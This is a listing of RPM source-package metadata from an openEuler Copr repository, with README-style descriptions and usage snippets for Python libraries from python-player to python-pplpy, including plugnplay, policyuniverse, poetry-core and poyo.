  It is possible to use any of this templates as pyramid renderer path:
      >> config.add_view(
  or :
      >> config.add_view(
  It is possible to run python code before rendering template.
  There are `add_tmpl_filter` directive and `player.tmpl_filter`
  decorator:
      >> def form_actions(context, request):
      >> config.add_tmpl_filter('form:actions', form_action, name='custom')
  or:
      >> import player
      >> @player.tmpl_filter('form:actions', name='custom')
  `form_actions` function gets call just before rendering template.
  Layer has to be defined with `add_layer` directve before registering
  template filter function.


pkgId: 1b5e08be421d03694da0fdb1a4ceac96acc6dd238f83c8a6c8c5fdfaa5abd7ef
name: python-plotnine
arch: src
version: 0.10.1
epoch: 0
release: 1
summary: A grammar of graphics for python
url: https://plotnine.readthedocs.io/en/stable
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6e94c027-4131-4895-a9db-87630a1eca96
location_href: 00010830-python-plotnine/python-plotnine-0.10.1-1.src.rpm
checksum_type: sha256
description:
  Plotnine has tests that generate images which are compared to baseline images known
  to be correct. To generate images that are consistent across all systems you have
  to install matplotlib from source. You can do that with ``pip`` using the command.
  ```console
  $ pip install matplotlib --no-binary matplotlib
  ```
  Otherwise there may be small differences in the text rendering that throw off the
  image comparisons.


pkgId: 6dda2945238be18c362d6570c523b7d1384e0076818bb9e579703a6e40c64d3d
name: python-pluginbase
arch: src
version: 1.0.1
epoch: 0
release: 1
url: http://github.com/mitsuhiko/pluginbase
rpm_license: BSD License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-17f59f5e-117a-4aff-9cd6-a0bf15945dea
location_href: 00004566-python-pluginbase/python-pluginbase-1.0.1-1.src.rpm
checksum_type: sha256
summary:
  PluginBase is a module for Python that enables the development of flexible plugin systems in Python.

description:
  PluginBase is a module for Python that enables the development of flexible plugin systems in Python.
  Step 1:
     from pluginbase import PluginBase
     plugin_base = PluginBase(package='yourapplication.plugins')
  Step 2:
     plugin_source = plugin_base.make_plugin_source(
         searchpath=['./path/to/plugins', './path/to/more/plugins'])
  Step 3:
     with plugin_source:
         from yourapplication.plugins import my_plugin
     my_plugin.do_something_cool()
  Or alternatively:
     my_plugin = plugin_source.load_plugin('my_plugin')
     my_plugin.do_something_cool()


pkgId: f881a0bcc54dd3c082eae20a2afc78ebccd2db5fa1bae80b76bcdf5575f85bee
name: python-plugnplay
arch: src
version: 0.5.4
epoch: 0
release: 1
summary: A Generic plug-in system for python
url: http://github.com/daltonmatos/plugnplay
rpm_license: GPLv2
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-c30c0bee-6c0d-4469-a5ab-e475b19bd50c
location_href: 00004568-python-plugnplay/python-plugnplay-0.5.4-1.src.rpm
checksum_type: sha256
description:
  Plug n' Play
  ************

  Plug n' PLay (PnP) is a Generic plug-in system inspired by Trac's (http://trac.edgewall.org)
  internal component management. With PnP you can turn any program into a pluggable software very easily.

  You just have to define the Interfaces and let others implement them. When your code is running
  you can dynamically retrieve who are the classes that implement a certain Interface, and call
  the specific methods.

  A simple example
  ****************

  Think this way: You have e very simple program that just copy files around.

  Say you want to check if the copy was OK by calculating the MD5 hash of the
  two files (the original and the copy). You can do this implementing the MD5 check
  inside your main code, that's OK too, but when you need to add another check
  (e.g. calculate the SHA-1 of the files) you will have to modify your code so
  it can call two methods, the MD5 checker and the SHA-1 checker.

  With PnP you write only the main piece of the program, the part that does only the copying,
  and the hash checkers you can implement whenever you want, *without* any modification
  to the main code.

  PnP is roughly a implementation of the Observer pattern (http://en.wikipedia.org/wiki/Observer_pattern).

  The code for this example
  *************************

  Ok, too much talk, now some code. A pseudo-code to the example above would be:

  ::

       class CopyListener(Interface):
          def copy_finished(self, original_file, new_file):
            pass



  The main code would be:

  ::

     PnP.load_plugins("/some/path/with/python/files") # egg files in the future?.
     copy_file(file1, file2)

     
     
     copy_listeners = CopyListener.implementors()

     
     for listener in copy_listeners:
       listener.copy_finished(file1, file2)


  And an example of one such observer would be:

  ::

     from myproject.interfaces import CopyListener

     class MD5Check(Plugin):
       implements = [CopyListener,]

       def copy_finished(self, file1, file2):
          md5_1 = hash.md5(file1.read()).hexdigest()
          md5_2 = hash.md5(file2.read()).hexdigest()
          if md5_1 is not md5_2:
            


  Conclusion
  **********

  Did you like this project? Very nice, so help me write it! Fork the repo and
  send me some pull requests! Or talk to me directly if you have some great ideas to implement!


  Thanks,

  Dalton Barreto


pkgId: 159f90001d88f04f8067c51abed59a81bc42b1261facd7eabfe7780541e4c362
name: python-ply
arch: src
version: 3.11
epoch: 0
release: 1
summary: Python Lex & Yacc
url: http://www.dabeaz.com/ply/
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-fddd3da3-b8b7-4d33-b0e5-fae8a2c99ca7
location_href: 00004570-python-ply/python-ply-3.11-1.src.rpm
checksum_type: sha256
description:
  PLY is yet another implementation of lex and yacc for Python. Some notable
  features include the fact that its implemented entirely in Python and it
  uses LALR(1) parsing which is efficient and well suited for larger grammars.

  PLY provides most of the standard lex/yacc features including support for empty
  productions, precedence rules, error recovery, and support for ambiguous grammars.

  PLY is extremely easy to use and provides very extensive error checking.
  It is compatible with both Python 2 and Python 3.


pkgId: 9905f3a55bff981f2fbb422307ac1f13052a769c7a3f9bd4c1915865ac60b012
name: python-pocketsphinx
arch: src
version: 5.0.0
epoch: 0
release: 1
summary: Official Python bindings for PocketSphinx
url: https://github.com/cmusphinx/pocketsphinx
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-d42fe88d-96d5-4817-bf0a-29182f0bcfe5
location_href: 00004573-python-pocketsphinx/python-pocketsphinx-5.0.0-1.src.rpm
checksum_type: sha256
description:
  This is PocketSphinx, one of Carnegie Mellon University's open source large
  vocabulary, speaker-independent continuous speech recognition engines.
  Although this was at one point a research system, active development
  has largely ceased and it has become very, very far from the state of
  the art.  I am making a release, because people are nonetheless using
  it, and there are a number of historical errors in the build system
  and API which needed to be corrected.
  The version number is strangely large because there was a "release"
  that people are using called 5prealpha, and we will use proper
  [semantic versioning](https://semver.org/) from now on.
  **Please see the LICENSE file for terms of use.**


pkgId: a495bfedd880fd9bdc81eb970cf36787429ff756fee3cbb2bb71a2ec360e4e6b
name: python-podcastparser
arch: src
version: 0.6.9
epoch: 0
release: 1
summary: Simplified, fast RSS parser
url: http://gpodder.org/podcastparser/
rpm_license: ISC License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6febf985-b20e-419c-ab4e-68022b3782a4
location_href: 00004574-python-podcastparser/python-podcastparser-0.6.9-1.src.rpm
checksum_type: sha256
description:
  The podcast parser project is a library from the gPodder project to provide an
  easy and reliable way of parsing RSS- and Atom-based podcast feeds in Python.
  See docs in [./doc](./doc) or at [Read the Docs](https://podcastparser.readthedocs.io/en/latest/).

  To run the unit tests you need [`pytest`](https://docs.pytest.org/).  If you have `pytest` installed, use the `pytest` command in the repository's root directory to run the tests.

  To release, update the version number in podcastparser.py, commit and push.
  Then create an (annotated) tag and push it.
  The GitHub action will publish on pypi.


pkgId: 1391848d8ea7f55b5f8d2a079119de0302aafa931404e9c7d348cd14d3c2fcd2
name: python-poetry-core
arch: src
version: 1.5.1
epoch: 0
release: 1
summary: Poetry PEP 517 Build Backend
url: https://github.com/python-poetry/poetry-core
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-fe3dbf17-aa55-4726-bb38-3d737afaeae7
location_href: 00004577-python-poetry-core/python-poetry-core-1.5.1-1.src.rpm
checksum_type: sha256
description:
  [![PyPI version](https://img.shields.io/pypi/v/poetry-core)](https://pypi.org/project/poetry-core/)
  [![Python Versions](https://img.shields.io/pypi/pyversions/poetry-core)](https://pypi.org/project/poetry-core/)
  [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
  [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)
  [![](https://github.com/python-poetry/poetry-core/workflows/Tests/badge.svg)](https://github.com/python-poetry/poetry-core/actions?query=workflow%3ATests)

  A [PEP 517](https://www.python.org/dev/peps/pep-0517/) build backend implementation developed for
  [Poetry](https://github.com/python-poetry/poetry). This project is intended to be a light weight, fully compliant,
  self-contained package allowing PEP 517 compatible build frontends to build Poetry managed projects.


  In most cases, the usage of this package is transparent to the end-user as it is either made use by Poetry itself
  or a PEP 517 frontend (eg: `pip`).

  In order to enable the use `poetry-core` as your build backend, the following snippet must be present in your
  project's `pyproject.toml` file.

  ```toml
  [build-system]
  requires = ["poetry-core"]
  build-backend = "poetry.core.masonry.api"
  ```

  Once this is present, a PEP 517 frontend like `pip` can build and install your project from source without the need
  for Poetry or any of its dependencies.

  ```shell

  pip install /path/to/poetry/managed/project


  pip wheel /path/to/poetry/managed/project
  ```


  Prior to the release of version `1.1.0`, Poetry was a project management tool that included a PEP 517
  build backend. This was inefficient and time consuming when a PEP 517 build was required. For example,
  both `pip` and `tox` (with isolated builds) would install Poetry and all dependencies it required. Most of these
  dependencies are not required when the objective is to simply build either a source or binary distribution of your
  project.

  In order to improve the above situation, `poetry-core` was created. Shared functionality pertaining to PEP 517 build
  backends, including reading lock file, `pyproject.toml` and building wheel/sdist, were implemented in this package. This
  makes PEP 517 builds extremely fast for Poetry managed packages.


pkgId: d4370f3253e4b65c72eed41f7b0b53e09e445cccd87d830a7cfced3394eedbf1
name: python-poetry-version
arch: src
version: 0.2.0
epoch: 0
release: 1
summary: Python library for extracting version from poetry pyproject.toml file (deprecated)
url: https://github.com/rominf/poetry-version
rpm_license: Apache-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-698facfb-3697-49a2-a9ad-11d5785aaf8a
location_href: 00013166-python-poetry-version/python-poetry-version-0.2.0-1.src.rpm
checksum_type: sha256
description:
  Now there is a better way to extract the version of the package.

  Assuming your package is named `mypackage`:
  ```python
  import importlib.metadata

  __version__ = importlib.metadata.version("mypackage")
  ```

  This code should work as is if you are using Python >= 3.8.

  For Python 3.6 and 3.7 you need to install a backport: https://pypi.org/project/importlib-metadata/


pkgId: 13935d1b8d12861c6d50cb74bd0da4147f1e264399801bf5ae22878e49c063c0
name: python-policyuniverse
arch: src
version: 1.5.0.20220613
epoch: 0
release: 1
summary: Parse and Process AWS IAM Policies, Statements, ARNs, and wildcards.
url: https://github.com/Netflix-Skunkworks/policyuniverse
rpm_license: Apache Software License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-49042ac7-81d2-4fc2-89dd-08f3e7546536
location_href: 00004578-python-policyuniverse/python-policyuniverse-1.5.0.20220613-1.src.rpm
checksum_type: sha256
description:
  [![Version](http://img.shields.io/pypi/v/policyuniverse.svg?style=flat)](https://pypi.python.org/pypi/policyuniverse/)

  [![Build Status](https://github.com/Netflix-Skunkworks/policyuniverse/workflows/Python%20package/badge.svg)](https://github.com/Netflix-Skunkworks/policyuniverse/actions)

  [![Updater Status](https://github.com/Netflix-Skunkworks/policyuniverse/actions/workflows/updater.yml/badge.svg)](https://github.com/Netflix-Skunkworks/policyuniverse/actions/workflows/updater.yml)

  [![Coverage Status](https://coveralls.io/repos/github/Netflix-Skunkworks/policyuniverse/badge.svg?branch=master&1)](https://coveralls.io/github/Netflix-Skunkworks/policyuniverse?branch=master)

  [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/python/black)

  This package provides classes to parse AWS IAM and Resource Policies.

  Additionally, this package can expand wildcards in AWS Policies using permissions obtained from the AWS Policy Generator.

  See the [Service and Permissions data](policyuniverse/data.json).

  _This package can also minify an AWS policy to help you stay under policy size limits. Avoid doing this if possible, as it creates ugly policies._ 💩



  `pip install policyuniverse`



  - [ARN class](#reading-arns)
  - [Policy class](#iam-and-resource-policies)
  - [Statement class](#statements)
  - [Action Categories](#action-categories)
  - [Expanding and Minification](#expanding-and-minification)



  ```python
  from policyuniverse.arn import ARN
  arn = ARN('arn:aws:iam::012345678910:role/SomeTestRoleForTesting')
  assert arn.error == False
  assert arn.tech == 'iam'
  assert arn.region == ''  # IAM is universal/global
  assert arn.account_number == '012345678910'
  assert arn.name == 'role/SomeTestRoleForTesting'
  assert arn.partition == 'aws'
  assert arn.root == False  # Not the root ARN
  assert arn.service == False  # Not an AWS service like lambda.amazonaws.com

  arn = ARN('012345678910')
  assert arn.account_number == '012345678910'

  arn = ARN('lambda.amazonaws.com')
  assert arn.service == True
  assert arn.tech == 'lambda'
  ```




  ```python

  policy05 = dict(
      Version='2010-08-14',
      Statement=[
          dict(
              Effect='Allow',
              Principal='arn:aws:iam::012345678910:root',
              Action=['s3:*'],
              Resource='*',
              Condition={
                  'IpAddress': {
                      'AWS:SourceIP': ['0.0.0.0/0']
                  }}),
          dict(
              Effect='Allow',
              Principal='arn:aws:iam::*:role/Hello',
              Action=['ec2:*'],
              Resource='*',
              Condition={
                  'StringLike': {
                      'AWS:SourceOwner': '012345678910'
                  }})
          ])

  from policyuniverse.policy import Policy
  from policyuniverse.statement import ConditionTuple, PrincipalTuple

  policy = Policy(policy05)
  assert policy.whos_allowed() == set([
      PrincipalTuple(category='principal', value='arn:aws:iam::*:role/Hello'),
      PrincipalTuple(category='principal', value='arn:aws:iam::012345678910:root'),
      ConditionTuple(category='cidr', value='0.0.0.0/0'),
      ConditionTuple(category='account', value='012345678910')
  ])




  assert policy.is_internet_accessible() == False
  ```



  ```python

  policy01 = dict(
      Version='2012-10-08',
      Statement=dict(
          Effect='Allow',
          Principal='*',
          Action=['rds:*'],
          Resource='*',
          Condition={
              'IpAddress': {
                  'AWS:SourceIP': ['0.0.0.0/0']
              }
          }))

  policy = Policy(policy01)
  assert policy.is_internet_accessible() == True
  assert policy.internet_accessible_actions() == set(['rds:*'])
  ```



  A policy is simply a collection of statements.

  ```python
  statement12 = dict(
      Effect='Allow',
      Principal='*',
      Action=['rds:*'],
      Resource='*',
      Condition={
          'StringEquals': {
              'AWS:SourceVPC': 'vpc-111111',
              'AWS:Sourcevpce': 'vpce-111111',
              'AWS:SourceOwner': '012345678910',
              'AWS:SourceAccount': '012345678910'
          },
          'StringLike': {
              'AWS:userid': 'AROAI1111111111111111:*'
          },
          'ARNLike': {
              'AWS:SourceArn': 'arn:aws:iam::012345678910:role/Admin'
          },
          'IpAddressIfExists': {
              'AWS:SourceIP': [
                  '123.45.67.89',
                  '10.0.7.0/24',
                  '172.16.0.0/16']
          }
      })

  from policyuniverse.statement import Statement
  from policyuniverse.statement import ConditionTuple, PrincipalTuple

  statement = Statement(statement12)
  assert statement.effect == 'Allow'
  assert statement.actions == set(['rds:*'])


  assert len(statement.actions_expanded) == 88

  assert statement.uses_not_principal() == False
  assert statement.principals == set(['*'])
  assert statement.condition_arns == set(['arn:aws:iam::012345678910:role/Admin'])
  assert statement.condition_accounts == set(['012345678910'])
  assert statement.condition_userids == set(['AROAI1111111111111111:*'])
  assert statement.condition_cidrs == set(['10.0.7.0/24', '172.16.0.0/16', '123.45.67.89'])
  assert statement.condition_vpcs == set(['vpc-111111'])
  assert statement.condition_vpces == set(['vpce-111111'])
  assert statement.is_internet_accessible() == False
  assert statement.whos_allowed() == set([
      PrincipalTuple(category='principal', value='*'),
      ConditionTuple(category='cidr', value='123.45.67.89'),
      ConditionTuple(category='account', value='012345678910'),
      ConditionTuple(category='userid', value='AROAI1111111111111111:*'),
      ConditionTuple(category='vpc', value='vpc-111111'),
      ConditionTuple(category='arn', value='arn:aws:iam::012345678910:role/Admin'),
      ConditionTuple(category='cidr', value='172.16.0.0/16'),
      ConditionTuple(category='vpce', value='vpce-111111'),
      ConditionTuple(category='cidr', value='10.0.7.0/24')])

  ```



  ```python
  policy = {
          "Statement": [{
              "Action": ["s3:put*", "sqs:get*", "sns:*"],
              "Resource": "*",
              "Effect": "Allow"
            }]
        }

  from policyuniverse.policy import Policy
  p = Policy(policy)
  for k, v in p.action_summary().items():
      print(k,v)
  >>> ('s3', set([u'Write', u'Permissions', u'Tagging']))
  >>> ('sqs', set([u'List']))
  >>> ('sns', set([u'List', u'Read', u'Write', u'Permissions']))
  ```
  Possible categories are `Permissions`, `Write`, `Read`, `Tagging`, and `List`.  This data can be used to summarize statements and policies and to look for sensitive permissions.


  ```python
  from policyuniverse.expander_minimizer import expand_policy
  from policyuniverse.expander_minimizer import minimize_policy

  policy = {
          "Statement": [{
              "Action": ["swf:res*"],
              "Resource": "*",
              "Effect": "Allow"
            }]
        }

  expanded_policy = expand_policy(policy=policy)
  >>> Start size: 131. End size: 286
  print(expanded_policy == {
          "Statement": [{
              "Action": [
                "swf:respondactivitytaskcanceled",
                "swf:respondactivitytaskcompleted",
                "swf:respondactivitytaskfailed",
                "swf:responddecisiontaskcompleted"
              ],
              "Resource": "*",
              "Effect": "Allow"
            }]
        })
  >>> True

  minimized_policy = minimize_policy(policy=expanded_policy, minchars=3)
  >>> Skipping prefix r because length of 1
  >>> Skipping prefix re because length of 2
  >>> Skipping prefix r because length of 1
  >>> Skipping prefix re because length of 2
  >>> Skipping prefix r because length of 1
  >>> Skipping prefix re because length of 2
  >>> Skipping prefix r because length of 1
  >>> Skipping prefix re because length of 2
  >>> Start size: 286. End size: 131

  print(minimized_policy == policy)
  >>> True
  ```


pkgId: ed6177b0edc742df09b448bfd35598ef5f123208c0671647f8f6d93266f85242
name: python-polling2
arch: src
version: 0.5.0
epoch: 0
release: 1
summary: Updated polling utility with many configurable options
url: http://github.com/ddmee/polling2
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-10200102-55a3-49be-a52f-55defafd8c85
location_href: 00011210-python-polling2/python-polling2-0.5.0-1.src.rpm
checksum_type: sha256
description:
  [![Build Status](https://travis-ci.com/ddmee/polling2.svg?branch=master)](https://travis-ci.org/ddmee/polling2)
  [![PyPI](https://img.shields.io/pypi/dm/polling2.svg)]()
  [![PyPI](https://img.shields.io/pypi/v/polling2.svg)]()



  _Never write another polling function again!_

  Documentation available at [Read the Docs](https://polling2.readthedocs.io)

  You can install the package from [Pypi](https://pypi.org/project/polling2/)

  Polling2 is a powerful python utility used to wait for a function to return a certain expected condition.

  Some possible uses cases include:

  - Wait for API response to return with code 200
  - Wait for a file to exist (or not exist)
  - Wait for a thread lock on a resource to expire

  Polling2 is handy for getting rid of all that duplicated polling-code. Often, applications require retrying until the correct response is returned. Why re-implement the ability to poll again and again? Use Polling2!

  Polling2 is a fork of the original [polling](https://github.com/justiniso/polling). It was forked when the original maintainer failed to respond to issues or PRs.

  Polling2 is _under active development_. Would you like to see a particular feature? Ask and thou shall recieve.



  ```
  pip install polling2
  ```



  ```shell

  python setup.py develop

  python setup.py test

  pytest tests
  ```



  ```python

  file_handle = polling2.poll(
      lambda: open('/tmp/myfile.txt'),
      ignore_exceptions=(IOError,),
      timeout=3,
      step=0.1)


  file_handle.close()
  ```

  There are [more examples](https://polling2.readthedocs.io/en/latest/examples) in the documentation.



  [![Read the Docs](https://raw.githubusercontent.com/ddmee/polling2/master/ext/read_the_docs.png)](https://polling2.readthedocs.io)


pkgId: 8fd77ec74f473180a7d3822b77b7a49ba27012f15317dfbfd059caaab7eab25a
name: python-polyglot
arch: src
version: 16.7.4
epoch: 0
release: 1
summary: Polyglot is a natural language pipeline that supports massive multilingual applications.
url: https://github.com/aboSamoor/polyglot
rpm_license: GPLv3
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-531c42f7-0488-4dec-8974-6c72a28ca579
location_href: 00012046-python-polyglot/python-polyglot-16.7.4-1.src.rpm
checksum_type: sha256
description:
  |Downloads| |Latest Version| |Build Status| |Documentation Status|
  Polyglot is a natural language pipeline that supports massive
  multilingual applications.
  -  Free software: GPLv3 license
  -  Documentation: http://polyglot.readthedocs.org.
  -  GitHub: https://github.com/aboSamoor/polyglot
  Features
  ~~~~~~~~
  -  Tokenization (165 Languages)
  -  Language detection (196 Languages)
  -  Named Entity Recognition (40 Languages)
  -  Part of Speech Tagging (16 Languages)
  -  Sentiment Analysis (136 Languages)
  -  Word Embeddings (137 Languages)
  -  Morphological analysis (135 Languages)
  -  Transliteration (69 Languages)
  Developer
  ~~~~~~~~~
  -  Rami Al-Rfou @ ``rmyeid gmail com``


pkgId: 924afac26aa3fa8dfe85a436f7c0ede455f3d0b21d723d5b0a3137aa2455ffb9
name: python-poppler-utils
arch: src
version: 0.1.0
epoch: 0
release: 1
url: https://github.com/vinayak-mehta/poppler-utils
rpm_license: GPL-2.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-938ecc18-e7ec-4857-9d54-ef7f79c1f505
location_href: 00013345-python-poppler-utils/python-poppler-utils-0.1.0-1.src.rpm
checksum_type: sha256
summary:
  Precompiled command-line utilities (based on Poppler) for manipulating PDF files and converting them to other formats.

description:
  Precompiled command-line utilities (based on Poppler) for manipulating PDF files and converting them to other formats.


pkgId: efc26aca1a857ec1fbe1490070b11a2e014092351e5942e2149755de3496ffb7
name: python-portalocker
arch: src
version: 2.7.0
epoch: 0
release: 1
summary: Wraps the portalocker recipe for easy usage
url: https://github.com/WoLpH/portalocker
rpm_license: BSD-3-Clause
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-88b25a38-4d9a-4dc2-9e32-d841385cad14
location_href: 00009015-python-portalocker/python-portalocker-2.7.0-1.src.rpm
checksum_type: sha256
description:
  Portalocker is a library to provide an easy API to file locking.
  An important detail to note is that on Linux and Unix systems the locks are
  advisory by default. By specifying the `-o mand` option to the mount command it
  is possible to enable mandatory file locking on Linux. This is generally not
  recommended however. For more information about the subject:
   - https://en.wikipedia.org/wiki/File_locking
   - http://stackoverflow.com/questions/39292051/portalocker-does-not-seem-to-lock
   - https://stackoverflow.com/questions/12062466/mandatory-file-lock-on-linux
  The module is currently maintained by Rick van Hattem <Wolph@wol.ph>.
  The project resides at https://github.com/WoLpH/portalocker . Bugs and feature
  requests can be submitted there. Patches are also very welcome.


pkgId: dc20de0f7cf909ec2cd2a80039f7c8c46323ac68043154d382787716ee467a36
name: python-posix-ipc
arch: src
version: 1.1.1
epoch: 0
release: 1
summary: POSIX IPC primitives (semaphores, shared memory and message queues) for Python
url: https://github.com/osvenskan/posix_ipc
rpm_license: http://creativecommons.org/licenses/BSD/
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ace0411e-02cc-40d2-a8e8-72e6f8ec1fc3
location_href: 00004582-python-posix_ipc/python-posix-ipc-1.1.1-1.src.rpm
checksum_type: sha256
description:
  `posix_ipc` is a Python module (written in C) that permits creation and manipulation of POSIX inter-process semaphores, shared memory and message queues on platforms supporting the POSIX Realtime Extensions a.k.a. POSIX 1003.1b-1993. This includes nearly all Unices and Windows + Cygwin ≥ 1.7.

  `posix_ipc` is compatible with all supported versions of Python 3.

  **For complete documentation, see [the usage notes](USAGE.md).**



  Version 1.0.5 was the last version of `posix_ipc` to support both Python 2.7 and Python 3.x. Starting with version 1.1.0, only Python ≥ 3.6 is supported. No changes (neither fixes nor features) will be backported to 1.0.5.



  `posix_ipc` is available on PyPI:

  	pip install posix-ipc

  Or you can clone the project and install it using `setup.py`:

  	python setup.py install



  `posix_ipc` is free software (free as in speech and free as in beer) released under a 3-clause BSD license. Complete licensing information is available in [the LICENSE file](LICENSE).



  You might also be interested in the similar System V IPC module: https://github.com/osvenskan/sysv_ipc


pkgId: 7c4100db35550e300b89b4e0b3e77c66d49c543e59d43c4cc25b82ff85b6b930
name: python-postal-address
arch: src
version: 22.4.22.1
epoch: 0
release: 1
summary: Parse, normalize and render postal addresses.
url: https://github.com/Scaleway/postal-address
rpm_license: BSD-2
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-4c7dd5a0-73c4-4ba0-9f9e-0f4c096919f3
location_href: 00010837-python-postal-address/python-postal-address-22.4.22.1-1.src.rpm
checksum_type: sha256
description:
  Python module to parse, normalize and render postal addresses.
  Stable release: |release| |versions| |license|
  Development: |docs| |coverage| |quality|


pkgId: ba696a0356bf16878a9d3a373b200af1319616109b53b0faa14e44c1d2807e4a
name: python-postgres
arch: src
version: 4.0
epoch: 0
release: 1
summary: postgres is a high-value abstraction over psycopg2.
url: https://github.com/liberapay/postgres.py
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1cde1b01-803a-4cf2-9b5c-de6f5181f546
location_href: 00012434-python-postgres/python-postgres-4.0-1.src.rpm
checksum_type: sha256
description:
  postgres is a high-value abstraction over psycopg2

  [Read the Docs](https://postgres-py.readthedocs.org)


pkgId: 64cba969bc8fd200a57ceb128d7f92cb952f7f2b3edec2df97a113b93d4a44ca
name: python-postmarker
arch: src
version: 1.0
epoch: 0
release: 1
summary: Python client library for Postmark API
url: https://github.com/Stranger6667/postmarker
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-f0c07bda-42a1-48fb-8729-c9eb80a1f987
location_href: 00013440-python-postmarker/python-postmarker-1.0-1.src.rpm
checksum_type: sha256
description:
  |Build| |Coverage| |Version| |Python versions| |Docs| |Chat| |License|
  Python client library for `Postmark API <http://developer.postmarkapp.com/developer-api-overview.html>`_.
  **Gitter**: https://gitter.im/Stranger6667/postmarker


pkgId: aac38f30250b9476bc4ea009d23905fd8b4ea02b27246967c8f351bc318bc07a
name: python-power
arch: src
version: 1.4
epoch: 0
release: 1
summary: Cross-platform system power status information.
url: https://github.com/Kentzo/Power
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-d5cad787-26c2-40ab-8c96-9e06f45e9dcf
location_href: 00004584-python-power/python-power-1.4-1.src.rpm
checksum_type: sha256
description:
  Library that allows you get current power source type (AC, Battery or UPS), warning level (none, <22%, <10min) and remaining minutes. You can also observe changes of power source and remaining time.


pkgId: bbefca5692675ccedd5c0b9d50817bb402de0df313dd5b31b4136509b3409179
name: python-poyo
arch: src
version: 0.5.0
epoch: 0
release: 1
summary: A lightweight YAML Parser for Python. 🐓
url: https://github.com/hackebrot/poyo
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-d7fa73c2-fb43-42f3-8cd6-77bc8acee0e2
location_href: 00004585-python-poyo/python-poyo-0.5.0-1.src.rpm
checksum_type: sha256
description:
  default_context: # foobar
      greeting: こんにちは
      email: "raphael@hackebrot.de"
      docs: true
      gui: FALSE
      123: 456.789
      
      
      'some:int': 1000000
      foo: "hallo #welt" #Inline comment :)
      longtext: >
          This is a multiline string.
          It can contain all manners of characters.
          Single line breaks are ignored,
          but blank linkes cause line breaks.
      trueish: Falseeeeeee
      blog   : raphael.codes
      relative-root: /          # web app root path (default: '')
      lektor: 0.0.0.0:5000      # local build
      doc_tools:
          
          -    mkdocs
          - 'sphinx'
          - null
      
  zZz: True
  NullValue: Null


  Hello World:
      
      null: This is madness   # yo
      gh: https://github.com/{0}.git
  "Yay #python": Cool!
  ```

  ```python
  {
      u"default_context": {
          u"greeting": u"こんにちは",
          u"email": u"raphael@hackebrot.de",
          u"docs": True,
          u"gui": False,
          u"lektor": "0.0.0.0:5000",
          u"relative-root": "/",
          123: 456.789,
          u"some:int": 1000000,
          u"foo": u"hallo #welt",
          u"longtext": (
              u"This is a multiline string. It can contain all "
              u"manners of characters.\nSingle line breaks are "
              u"ignored, but blank linkes cause line breaks.\n"
          ),
          u"trueish": u"Falseeeeeee",
          u"blog": u"raphael.codes",
          u"doc_tools": [u"mkdocs", u"sphinx", None],
      },
      u"zZz": True,
      u"NullValue": None,
      u"Hello World": {
          None: u"This is madness",
          u"gh": u"https://github.com/{0}.git",
      },
      u"Yay #python": u"Cool!",
  }
  ```

  poyo follows the recommendations for [logging in a library][logging], which
  means it does not configure logging itself. Its root logger is named ``poyo``
  and the names of all its children loggers track the package/module hierarchy.
  poyo logs to a ``NullHandler`` and solely on ``DEBUG`` level.
  If your application configures logging and allows debug messages to be shown,
  you will see logging when using poyo. The log messages indicate which parser
  method is used for a given string as the parser deseralizes the config. You
  can remove all logging from poyo in your application by setting the log level
  of the ``poyo`` logger to a value higher than ``DEBUG``.
  [logging]: https://docs.python.org/3/howto/logging.html#configuring-logging-for-a-library

  ```python
  import logging
  logging.getLogger("poyo").setLevel(logging.WARNING)
  ```

  ```python
  import logging
  from poyo import parse_string
  logging.basicConfig(level=logging.DEBUG)


pkgId: cb165596f01130ab688c57126d25b5ba4a9b6c3476f2c1eab67529de3b03f844
name: python-pplpy
arch: src
version: 0.8.7
epoch: 0
release: 1
summary: Python PPL wrapper
url: https://gitlab.com/videlec/pplpy
rpm_license: GPL v3
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0360d4b9-98c0-4ac4-89f7-b3f165c9a980
location_href: 00004586-python-pplpy/python-pplpy-0.8.7-1.src.rpm
checksum_type: sha256
description:
  This Python package provides a wrapper to the C++ `Parma Polyhedra Library
  (PPL) <http://bugseng.com/products/ppl/>`_.
  The whole package started as a fork of a tiny part of the `Sage
  <http://sagemath.org>`_ software.


